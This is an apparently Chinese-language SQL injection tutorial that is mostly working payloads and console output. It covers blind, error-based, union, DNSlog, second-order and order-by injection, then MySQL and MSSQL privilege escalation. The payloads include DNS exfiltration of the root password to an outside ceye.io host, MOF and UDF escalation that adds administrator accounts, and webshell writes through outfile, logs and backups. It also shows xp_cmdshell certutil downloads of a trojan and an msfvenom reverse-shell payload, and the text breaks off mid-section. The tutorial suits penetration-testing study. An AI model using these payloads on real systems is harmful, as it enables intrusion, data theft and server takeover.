公眾號:白帽子左一
SQL注入基礎
**SQL注入**(英語:SQL injection),是發生於應用程序與數據庫層的[安全漏洞](https://zh.wikipedia.org/wiki/安全漏洞)。簡而言之,是在輸入的字符串之中注入[SQL](https://zh.wikipedia.org/wiki/SQL)指令,在設計不良的[程序](https://zh.wikipedia.org/wiki/計算機程序)當中忽略了字符檢查,那么這些注入進去的惡意指令就會被[數據庫](https://zh.wikipedia.org/wiki/資料庫)[服務器](https://zh.wikipedia.org/wiki/伺服器)誤認為是正常的SQL指令而運行,因此遭到破壞或是入侵。 OWASP Top10雖然常年有更改,但sql注入基本一直位於榜首,其優勢在於極低的使用代價以及極高的危害性,地位可見一斑。 SQL注入的危害自然是很大的,通常有以下這些(來自[wiki](https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5)):
- 資料表中的資料外泄,例如企業及個人機密資料,賬戶資料,密碼等。
- 數據結構被黑客探知,得以做進一步攻擊(例如SELECT * FROM sys.tables)。
- 數據庫服務器被攻擊,系統管理員賬戶被竄改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
- 獲取系統較高權限后,有可能得以在網頁加入惡意鏈接、惡意代碼以及Phishing等。
- 經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統(例如xp_cmdshell “net stop iisadmin”可停止服務器的IIS服務)。
- 黑客經由上傳php簡單的指令至對方之主機內,PHP之強大系統命令,可以讓黑客進行全面控制系統(例如:php一句話木馬)。
- 破壞硬盤資料,癱瘓全系統(例如xp_cmdshell “FORMAT C:”)。
- 獲取系統最高權限后,可針對企業內部的任一管理系統做大規模破壞,甚至讓其企業倒閉。
- 企業網站主頁被竄改,門面盡失。
找到注入點后,sql注入的基本流程如下:
信息收集:
數據庫類型
數據庫版本
數據庫用戶
數據庫權限獲取數據:
獲取庫信息
獲取表信息
獲取列信息
獲取數據提權:
執行命令
讀文件 讀取中間件配置文件,讀取數據庫配置文件
寫文件 寫webshell
注入分類及利用
布爾型注入
布爾是英文單詞Boolean
的音譯,懂編程的同學應該知道它是用來表示是或否(True或False)的一個數據類型。布爾型注入是在sql注入過程中,根據頁面的返回結果來判斷條件真假的注入方式。
當查詢結果不為空時,返回True,相反返回False。這在網頁上的體現通常是True有內容顯示,而False對應着空白頁面(或者頁面無變化)。我們通過這個方式可以挨個猜測表名、字段名和字段值的字符,通過返回結果判斷猜測是否正確,因為過程較為繁瑣,通常要結合腳本或工具來進行。
例如sqli-labs Less8中,頁面返回的只有正確和錯誤。我們就可以利用布爾型注入來猜解數據。
判斷數據庫長度的語句,此時頁面無顯示,說明長度為8:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+
獲取數據庫名時拼接and (ascii(substr(database(),1,1)))>115
語句,出現錯誤,對照ASCII碼表得知數據庫名第一個字符為“s”。而后便是重復此操作得到我們需要的數據。
報錯型注入
原理
在SQL注入攻擊過程中,服務器開啟了錯誤回顯,頁面會返回錯誤信息,利用報錯函數獲取數據庫數據。
主要場景有兩種,一是當查詢不回顯內容,但是會打印錯誤信息;二是在insert和update等注入點(Order by查詢),這些語句也會打印錯誤信息。
常用的Mysql報錯函數有以下這些:
updatexml():mysql對xml文檔數據進行查詢和修改的xpath函數
extractvalue():mysql對xml文檔數據進行查詢的xpath函數
floor():mysql中用來取整的函數
exp():此函數返回e(自然對數的底)指數X的冪值
- updatexml中存在特殊字符、字母時,會出現報錯,報錯信息為特殊字符、字母及之后的內容,而hex出的數據包含字母和數字,所以第一個字母前面的內容都會丟失,updatexml報錯最多只能顯示32位,我們結合SUBSTR函數來獲取數據就行了,舉例如下:
mysql> select updatexml(1,make_set(3,'~',(select user())),1); ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost' mysql> select updatexml(1,lpad('@',30,(select user())),1); ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@' mysql> select updatexml(1,repeat((select user()),2),1); ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost' mysql> select updatexml(1,(select user()),1); ERROR 1105 (HY000): XPATH syntax error: '@localhost' mysql> select updatexml(1,reverse((select user())),1); ERROR 1105 (HY000): XPATH syntax error: '@toor' mysql> select updatexml(1,export_set(1|2,'::',(select user())),1); ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
- extractvalue(目標xml文檔,xml路徑)。語法中第二個參數Xpath是可操作的地方,如果我們寫入錯誤的格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//獲取表名 ERROR 1105 (HY000): XPATH syntax error: '\users' mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\xxxx'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));//獲取字段 ERROR 1105 (HY000): XPATH syntax error: '\Dumb'
-
floor() 函數的作用就是返回小於等於括號內該值的最大整數,也就是取整。floor(rand(0)*2)就是對rand(0)產生的隨機序列乘以2后的結果,再進行取整。 floor報錯注入是利用
select count(*),(floor(rand(0)*2)) x from users group by x
這個相對固定的語句格式,導致的數據庫報錯。有關它的報錯原理可參考:source
1. ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe 2. ' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a),'','') -- qwe
聯合查詢注入
此處以MySQL為例
獲取回顯點:
數字型:
根據獲取的字段進行聯合查詢,查看顯示點。看到網頁顯示的數字和聯合查詢字段對應的數字來得出哪個字段查詢出來的數據可以在網站中顯示出來。(利用and 1=2,也可以用其他方式比如-2/2.1154等,將前面的查詢報錯,進而網頁則顯示聯合查詢出來的數據。)
and 1=2 union select 1,2,3,4,5
字符型:
字符型和數字型的差別只是閉合和注釋,其余的語句基本一樣。像這里因為PHP寫的SQL語句的查詢條件參數是用單引號括着的,所以要用單引號,如果是其他的比如雙引號就要用雙引號閉合,然后把后面那個多余的符合注釋掉或處理掉。
' and 1=2 union select 1,2,3-- qwe
接下來展示幾條具體的利用語句:
and 1=2 union select 1,database(),3,4,5 //查詢當前數據庫 and 1=2 union select 1,database(),version(),4,5 //查詢當前數據庫及版本 and 1=2 union select 1,database(),table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1 //爆表名
萬能密碼:
POST注入提得最多的應該就是萬能密碼了。(默認登錄表里的第一個用戶)
萬能密碼,where前面的那個條件為假后面的1=1為真,or或,一真一假為真,所以條件為真,則查詢表里的全部數據。
`' or 1=1 -- qwe`
獲取字段數:
' or 1=1 order by 1 -- qwe
搜索框如下,字段閉合之后就可以獲取了。
時間型盲注
當注入時,無論我們傳入什么值,網頁正常或報錯都顯示一種頁面時,那么網頁的是否正常顯示將不是我們用來判斷是否注入成功的依據,就要用基於時間的盲注。
此處同樣Mysql為例。
MySQL延時注入
延時注入就是在盲注的基礎上增加了兩個函數:
if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
sleep函數
sleep():休眠多少秒
判斷注入點:
無論輸入的語句是對還是錯,都只返回一種頁面。
此時我們只能用sleep()來判斷注入點。
' and sleep(5)-- qwe //延時了5秒,證明執行成功了。
猜當前數據庫:
' and if(length(database())>8,1,sleep(5))-- qwe數據庫長度大於8時延時了5秒,數據庫名是長度為8的字符串。 ' and if(ord(mid(database(),1,1))>115,1,sleep(5))-- qwe ASCII碼:115 -> s 猜解出數據庫的第一個字符
接下來的利用與盲注類似,只是判斷方式不同。
benchmark函數
簡介BENCHMARK(count,expr)函數
benchmark函數會重復計算expr表達式count次,所以我們可以盡可能多的增加計算的次數來增加時間延遲。
語句
and if((布爾盲注語句),BENCHMARK(10000000,md5('a')),1);
笛卡爾積函數
簡介
所謂疊加全排列就是對多個表做笛卡爾積連接,使之查詢時間呈指數增長,也就是說,攻擊者將簡單的表查詢不斷地疊加,不斷增加系統執行sql語句的負荷,直到產生攻擊者想要的時間延遲。為了防止表明重復可能導致不必要的錯誤,所以一般都會用表別名來區別
and if((布爾盲注語句),(笛卡爾積函數語句),1);
語句
mysql> select count(*) from information_schema.columns a,information_schema.columns b; +----------+ | count(*) | +----------+ | 774400 | +----------+ 1 row in set (0.20 sec) mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row in set (2.07 sec)
get_lock盲注
簡介
對關鍵字進行了get_lock,那么再開另一個session再次對關鍵進行get_lock,就會延時我們指定的時間。此盲注手法有一些限制,就是必須要同時開兩個SESSION進行注入。
GET_LOCK(str,timeout)
例子
SESSION A
mysql> select get_lock('rocky',5); +---------------------+ | get_lock('rocky',5) | +---------------------+ | 1 | +---------------------+ 1 row in set (0.00 sec) 1234567
SESSION B
mysql> select get_lock('rocky',5); +---------------------+ | get_lock('rocky',5) | +---------------------+ | 0 | +---------------------+ 1 row in set (5.00 sec) 1234567
語句
and if((布爾盲注語句),GET_LOCK(str,timeout),1);
注入類型擴展
DNSlog注入
什么是DNS?
DNS的全稱是Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如
www.test.com
,網絡上的DNS Server會將該域名解析,並找到對應的真實IP如192.168.10.11
,使用戶可以訪問這台服務器上相應的服務。
什么是Dnslog
Dnslog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名
www.test.com
、t00ls.com.
等的訪問信息。
DNSLOG的使用場景:
在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNSlog把想獲得的數據外帶出來。
對於sql盲注,常見的方法就是二分法去一個個猜,但是這樣的方法麻煩不說,還很容易因為數據請求頻繁導致被ban。
所以可以將select到的數據發送給一個url,利用dns解析產生的記錄日志來查看數據。
DNSlog注入原理:
通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄
此時變為顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問服務器,記錄后查看日志
LOAD_FILE() 讀取文件的函數:
讀取文件並返回文件內容為字符串。要使用此函數:
1.文件必須位於服務器主機上
2.必須指定完整路徑的文件
3.必須有FILE權限。 該文件所有字節可讀
4.文件內容必須小於max_allowed_packet(限制server接受的數據包大小函數,默認1MB)
如果該文件不存在或無法讀取,因為前面的條件之一不滿足,函數返回 NULL。
通過DNSlog注入需要用的load_file()函數,所以一般得是root權限。show variables like ‘%secure%’;查看load_file()可以讀取的磁盤。
- 當secure_file_priv為空,就可以讀取寫入磁盤的目錄。
- 當secure_file_priv為G:\,指定文件夾就可以對該文件夾讀取寫入,就可以讀取G盤的文件。
- 當secure_file_priv為null,表示不允許讀取寫入,load_file就不能加載文件。
UNC路徑:
UNC路徑就是類似\softer這樣的形式的網絡路徑。它符合 \servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename。
例如softer計算機的名為it168的共享文件夾,用UNC表示就是\softer\it168。
我們熟悉的命令行訪問法訪問網上鄰居,實際上應該稱作UNC路徑訪問法。\abc.xxx.com\abc -> 訪問abc.xxx.com下的abc共享文件夾
DNSLOG平台
首先我們分配到這個域名:75icr7.ceye.io
平台有個POC:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
改成分配我們的域名:
CONCAT:字符串拼接函數
中間的select是一個子查詢,假如root用戶的密碼是root,那么這條語句就等同於
SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc');
數據庫去訪問root.75icr7.ceye.io的服務器下的共享文件夾abc。
ceye.io運用了泛解析,然后ceye.io的子域名的解析都是在某台服務器,然后它記錄下來了有人請求訪問了root.75icr7.ceye.io,然后在ceye這個平台上面顯示出來了
下面我們就查一下數據庫試試:
and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc')))這里加上1.txt是因為有防火牆,利用它的特性繞過。
數據庫信息就出來了。
實戰利用也可參考:DNSlog在SQL注入中的實戰
二階注入
二階注入也稱二次注入,原理是sql語句在沒有被轉義的情況下直接存入數據庫,然后在被讀取查詢而導致的。
二次注入在php種通常見於,插入時被addslashes()
get_magic_quotes_gpc
等等轉義,但是寫入數據庫時還是使用原來的數據,二次注入造成的原因是多種多樣的。
此處我們用sqli labs第24課來做例子。
- 先創建一個含有注釋符的用戶 amin’#
- 查看數據庫,可見成功添加了記錄。此處雖然有轉義操作,但如上面所說,數據被存入數據庫是還是原來的形式。
- 用注冊的賬號進行修改密碼的操作,sql語句分析如下:
源碼中的sql語句: UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 即將被執行的語句: UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' 最終被執行的語句:UPDATE users SET PASSWORD='$pass' where username='admin'
- 可以很清楚的看到
#
及之后的內容被省略,導致admin賬戶的密碼被修改(而不是admin'#
的)
Order By 注入
Order by注入是比較特殊的情況, sql語句為 select * from admin order by $id
。我們一般用order by 來判斷列數,其實它就是一個依照第幾個列來排序的過程。
order by注入是不能 直接使用and 1=1
來判斷的,它需要用到條件語句。
簡單注入判斷
在早期注入大量存在的時候利用order by
子句進行快速猜解列數,再配合union select
語句進行回顯。可以通過修改order
參數為較大的整數看回顯情況來判斷。在不知道列名的情況下可以通過列的的序號來指代相應的列。但是經過測試這里無法做運算,如order=3-1
和order=2
是不一樣的
http://192.168.239.2:81/?order=11 錯誤 http://192.168.239.2:81/?order=1 正常
進一步構造payload
前面的判斷並不是絕對的,我們需要構造出類似and 1=1
、and 1=2
的payload以便於注入出數據。此處需利用條件語句(if)。
http://127.0.0.1/?order=IF(1=1,name,price) 通過name字段排序 http://127.0.0.1/?order=IF(1=2,name,price) 通過price字段排序 http://127.0.0.1/?order=IFNULL(NULL,price) 通過name字段排序 http://127.0.0.1/?order=IFNULL(NULL,name) 通過price字段排序
可以觀測到排序的結果不一樣。
利用報錯
在有些情況下無法知道列名,而且也不太直觀的去判斷兩次請求的差別,可以利用updatexml和extracvalue等函數進行報錯注入:
http://127.0.0.1/?order=updatexml(1,if(1=1,1,user()),1) 正確 http://127.0.0.1/?order=updatexml(1,if(1=2,1,user()),1) 錯誤 http://127.0.0.1/?order=extractvalue(1,if(1=1,1,user())) 正確 http://127.0.0.1/?order=extractvalue(1,if(1=2,1,user())) 錯誤
基於時間盲注
注意如果直接if(1=2,1,SLEEP(2))
,sleep時間將會變成2*當前表中記錄的數目,將會對服務器造成一定的拒絕服務攻擊
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常響應時間 /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
insert,delete,update注入
注意!這幾種情況下的注入都會修改或刪除數據,是非常危險的操作。只有在授權測試允許的情況下才考慮利用。
利用其實和之前提到的類似,主要方式有報錯和盲注。
insert
一般這種注入會出現在 注冊、ip頭、留言板等等需要寫入數據的地方,同時這種注入不報錯一般較難發現。
報錯,使用updatexml函數
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin"); Query OK, 1 row affected (0.00 sec) mysql> select * from admin; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 1 | and 1=1 | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin | +------+-----------------------------------------------+----------+ 3 rows in set (0.00 sec) mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin"); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
- 延時盲注
int型 可以使用 運算符,比如 加減乘除 and or 異或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (5.00 sec) mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (0.00 sec)
字符型注意閉合不能使用and。
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (0.00 sec) mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (5.01 sec)
注意盲注產生大量垃圾數據。
delete
需要注意的是delete 注入非常危險。一定要理清邏輯,不要使用sqlmap一把梭。語句稍不當,親人淚兩行 。
報錯注入同上:
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注
or 配上 if()
函數使用不當。簡單提下 if(expr1,expr2,expr3),如果expr1的值為true,返回expr2的值,如果expr1的值為false, 返回expr3的值。
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1); Query OK, 3 rows affected (0.00 sec)
update
與上方的類似,此處舉延時注入為例:
mysql> update admin set id="5"+sleep(5)+"" where id=2; Query OK, 4 rows affected (20.00 sec) Rows matched: 4 Changed: 4 Warnings: 0
limit注入
limit的用法
格式: limit m,n //m是記錄開始的位置,n是取n條數據 limit 0,1 //從第一條開始,取一條數據
在Limit后面可以跟兩個函數,PROCEDURE 和 INTO,INTO除非有寫入shell的權限,否則是無法利用的。
在Limit后面可以用 procedure analyse()這個子查詢,而且只能用extractvalue 和 benchmark 函數進行延時。
簡介
procedure analyse()
函數是MySQL內置的對MySQL字段值進行統計分析后給出建議的字段類型。
語法
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重復值的最大值,當超過這個值的時候,MySQL不會推薦enum類型。
max_memory
analyse()
為每列找出所有非重復值所采用的最大內存大小。
報錯注入:
?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);
時間型盲注:
直接使用sleep不行,需要用BENCHMARK代替
?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
注入檢測
sql注入的檢測,除開使用自動化工具,手動注入也是有效的方法。
我們可以通過在應用程序中觸發報錯或使用布爾型注入,最容易檢測到脆弱的參數。構造格式錯誤的查詢將觸發錯誤,而發送帶有各種布爾邏輯語句的有效查詢將觸發來自web服務器的不同響應。這里所說的檢測方法在上方可以看到示例,因為很多利用是伴隨着測試的。我們這一塊主要探究如何獲取數據庫版本信息。
注意:True或False語句應該通過HTTP狀態碼或HTML內容返回不同的響應。如果這些響應與查詢的true/false性質一致,則表示存在sql注入。
檢測目標正在使用的數據庫管理系統(DBMS)對於進一步利用注入至關重要。如果沒有這些信息,就不可能確定要查詢哪些表、內置哪些函數以及要避免哪些檢測。如果下面的查詢響應成功,則說明所選的DBMS正在被使用。
注意:把注釋字符 — 放在查詢之后,以刪除查詢后的任何注釋,幫助防止錯誤。
前端與數據庫類型
web應用 | 數據庫系統 |
---|---|
.net | sql server |
php | PostgreSQL,Mysql |
asp | sql server,Access |
java | Oracle,Mysql |
這個有助於縮小我們的判斷范圍。
端口判斷
端口 | 數據庫系統 |
---|---|
1433 | SQL Sever |
1521 | Oracle |
3306 | Mysql |
其中Access數據庫屬於文件型數據庫,所以不存在端口號。
基於特定函數的判斷
len和length
在mssql和mysql以及db2內,返回長度值是調用len()函數;在oracle和INFORMIX則是通過length()來返回長度值。
當你使用and len(‘a’)=1的時候,返回正常頁面時,可以推斷當前的數據庫類型可能是mssql,或mysql,或是db2。反之則可能會是oracle和informix。
@@version和version()
在mysql內,可以用@@version或是version()來返回當前的版本信息。但無法判斷是mysql還是mssql時,可以用version()函數來構造判斷。
version()>1 返回與@@version>1 相同頁面時,則可能是mysql。如果出現提示version()錯誤時,則可能是mssql。
substring和substr
在mssql中可以調用substring。oracle則只可調用substr
字符串處理方式
sql server :id=1 and 'a'+'b'='ab' -- mssql:id=1 and 'a'+'b'='ab' mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b') oracle:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b') postgresql :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
報錯類型
ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
注入提權
Mysql篇
MOF提權(windows)
使用范圍
Windows Server 2003/XP 等 Windows低版本
需要權限
必須要有導出權限
原理
mof是Windows系統的一個文件,位於c:/windows/system32/wbem/mof/nullevt.mof,叫做托管對象格式, 它的作用是每隔5秒,就會去監控進程的創建和死亡。mof提權的簡單利用過程就是,擁有了MySQL的root權限 后,使用root權限去執行上傳操作,將我們重新改寫過的mof文件上傳,之后,這個文件會被服務器每隔5秒 以system權限執行。這個改寫的mof中,有一段是vbs腳本,這個vbs大多數是cmd的添加管理員用戶的命令。
Mof 文件怎么書寫?
其中的關鍵就在於第17的net.exe user secist 123 /add,這句是用來創建一個用戶名為secist,密碼為123的用戶。
創建成功后,再將這句命令改為“net.exe localgroup administrators admin /add”后,再次上傳,達到創建admin用戶並將其加入administrators組的目的。
MOF提權-實操
Windows Server 2003R2上面搭建這BlueCms,用戶注冊,登錄成功后,通過上傳頭像,然后將我們要用到的mof文件后綴改為1.jpg上傳
然后通過掃描目錄,我們發現這個網站有phpmyadmin目錄,訪問了一下,顯示PHP版本過低,發現要PHP高於5.5才能使用Phpmyadmin,本地測試了一下,Windows 2003 根本不支持PHP5.4以上版本,不過不負有心人,我發現它有adminer.php文件。也是WEB的數據庫管理工具。
然后查看了一下這個數據庫,居然開啟了導出的權限。
如果本地測試的小伙伴沒有開啟的話,可以去數據庫的my.ini的最后加入這句話,然后重啟Mysql。加入my.ini的語句:secure_file_priv =
那么我們只要簡單的執行導出語句就可以,先用load_file讀取前面上傳上來的文件內容,然后再導出到c:/windows/system32/wbem/mof/nullevt.mof。
語句:
select load_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”) into dumpfile “c:/windows/system32/wbem/mof/kkk.mof”
再次上傳一個mof文件,然后在執行命令的地方,把添加用戶改為,提升用戶權限,mof這里是system權限的,所以可以直接提上來。
那是否能嘗試,在沒有上傳點的情況下達成這樣的攻擊?
那么我想到的就是直接寫在adminer直接導出,但是我估計有些符號會影響語句,Mysql支持16進制,應該可以先轉16進制,然后用Into dumpfile導出
字符轉16進制:https://www.bejson.com/convert/ox2str/
我們嘗試了,但是遇到了困難,因為16進制解碼寫入后,所有的代碼都會糊在一起,不再會換行了。如果沒有想錯的話就是16進制轉換的時候沒有加上換行,但是這里轉換復雜,而且發現一個換行是由一個回車+一個換行符組成.
為了快捷 ,此處直接轉化為了純char寫入。
執行成功后,查看用戶很明顯添加了進去,所以只要能夠導入就可以成功。
Udf提權
使用范圍
無版本要求,只和Mysql有關,與服務器版本無關
權限需求
必須要有導出權限,且用戶必須root權限
原理
UDF(user defined function)用戶自定義函數,是mysql的一個拓展接口。用戶可以通過自定義函數實現在mysql中無法方便實現的功能,其添加的新函數都可以在sql語句中調用,就像調用本機函數一樣。通過加載dll文件擴展,我們可以讓Mysql去做一切事情。通過上傳可以調用系統命令的Dll擴展,然后設置好自定義函數,然后使用函數執行命令。
實戰
如果mysql版本>5.1,udf.dll文件必須放置在mysql安裝目錄下的lib\plugin\
如果mysql版本小於等於5.1,udf.dll文件在system32目錄下
我們怎么去獲取Dll文件,其實Sqlmap中就有
sqlmap目錄下的 \data\udf\mysql\windows\64\lib_mysqludf_sys.dll文件
當然你目標如果是32位的那么要選擇32位的。
我們來嘗試一下最簡單的方法,通過Webshell直接上傳到該目錄然后執行命令。
這里所指的是網站低權限運行,但是數據庫高權限運行,在IIS作為中間件的時候 比較常見。
上傳udf
先判斷數據庫版本,符合 mysql 大於等於 5.1 情況。
sqlmap 中有 udf 文件,分為32位和64位,根據 mysql 的位數選擇(不是靶機系統位數),命令 show variables like ‘%version_%’; 查看 mysql 位數。
sqlmap\data\udf\mysql\windows\32 目錄下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自帶的 shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用。可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak 目錄下,執行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll
解碼后在 sqlmap\data\udf\mysql\windows\32 文件夾下會生成 dll 文件。在 mysql 安裝路徑下的 lib 文件夾內創建 plugin 目錄,上傳 lib_mysqludf_sys.dll。
引入函數
需要創建 udf 中存在的函數,可以用 winhex 打開 dll 看一下有哪些函數可以創建。這里選擇 sys_eval 函數。
sys_eval:執行任意命令,並將輸出返回。sys_exec:執行任意命令,並將退出碼返回。
引入自定義函數:create function sys_eval returns string soname "lib_mysqludf_sys.dll";
使用函數
驗證一下:select * from mysql.func where name = ‘sys_eval’;
select sys_eval(‘calc’); 彈計算器實驗一下,除此之外還可以新建賬號加入管理員組等進行其它操作。
mysql outfile導出webshell
條件:知道物理路徑,root權限,同時mysql需要有write權限,secure_file_priv配置不為null,查看方法:
show global variables like '%secure_file_priv%';
這個參數只能通過修改配置文件后重啟mysql修改。
1.select '<?php phpinfo();?>' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php' 2.新建一個表,創建一個空字段,在這個字段里插入php馬,再導出
直接導出需要開啟安全配置
ps:secure_file_priv參數用於限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()(讀取文件)
mysql日志獲取webshell
查看:
SHOW VARIABLES LIKE '%general%'
修改狀態:
set global general_log="ON";
修改儲存位置:
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';
寫馬:
select '<?php phpinfo(); ?>';
只需root權限即可。
mysql慢查詢日志getshell
首先查詢slow的配置。show variables like '%slow_query_log%';
若結果為off,則運行set global slow_query_log=1;
然后設置log日志的位置,設置為web目錄下set global slow_query_log_file='C:\\phpStudy\\WWW\\cs.php';
查看下是否修改成功show variables like '%slow_query_log%';
觸發慢查詢日志select '<?php echo system($_GET["cmd"]);?>' or sleep(11);
訪問設置好的目錄,可以看到已經成功了,getshell同理。
Mssql篇
執行系統命令
判斷開啟
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
結果為1表示開啟
可以用盲注語句判斷
and (select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1
注意:執行系統指令屬於堆疊查詢,而且沒有回顯
select * from users where id =1 exec master..xp_cmdshell whoami
所以可以嘗試直接創建賬號等指令,如果不能使用堆疊查詢,可以使用盲注輔助
if 1=1 execute('exec xp_cmdshell whoami');select * from users where id =1 and 1=2 if 1=1 execute('exec master..xp_cmdshell whoami');
寫文件,注意,會把原來的文件內容覆蓋掉
exec master..xp_cmdshell "echo 這是個木馬>d:\\2.txt"
注意:如果echo 里面的字符有引號和其他符號,那么我們就要在引號前面加一個 ^
來轉義它!記得用單引號包裹里面的一句話!
執行EXE程序-這是個錯誤的案例
exec master..xp_cmdshell 'C:\WINDOWS\system32\notepad.exe'
不能執行用戶交互的命令,比如,執行記事本這種需要用戶錄入,關閉等操作的程序,就會掛死程序,此外,彈窗的也不行,適合配合其他操作或者下面命令的使用。
``
exec master..xp_cmdshell “certutil -urlcache -split -f http://服務器/木馬.exe 木馬.exe” —
無雜質寫入文件
exec sp_configure 'show advanced options',1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE WITH OVERRIDE;
declare @ob int;exec sp_oacreate 'adodb.stream',@ob output;exec sp_oasetproperty @ob,'type',1;exec sp_oamethod @ob,'open';exec sp_oamethod @ob,'write',null,0x3c3f70687020706870696e666f28293b3f3e;exec sp_oamethod @ob,'savetofile',null,'c:\test66.txt',2;exec sp_oamethod @ob,'close';exec sp_oadestroy @ob;
操作注冊表
直接修改注冊表,關閉防火牆,開個3389都可以的
讀取遠程桌面端口
備份文件寫shell
日志備份
create table cmd (a image)backup log test to disk = 'c:/1.bak' with initinsert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')backup log test to disk = 'c:\saul.aspx'drop table cmd
文件備份
exec sp_makewebtask 'D:\mssql\p2.asp','<%Execute(request("MH"))%>'
注意,路徑和內容要用16進制
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c002500450078006500630075007400650028007200650071007500650073007400280022004d00480022002900290025003e000d000a002700;exec sp_makewebtask 0x44003a005c006d007300730071006c005c00700032002e00610073007000, @s;
差異備份
理論而言只會把不同的內容進行備份,但測試時有偏差
backup database test to disk = 'c:\2.bak'create table [dbo].[test] ([cmd] [image]);insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')--backup database test to disk='c:\2.aspx' WITH DIFFERENTIAL,FORMAT;
clr
msf執行Msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.139.129 LPORT = 4444 EXITFUNC = none -f csharp --platform windows
構造
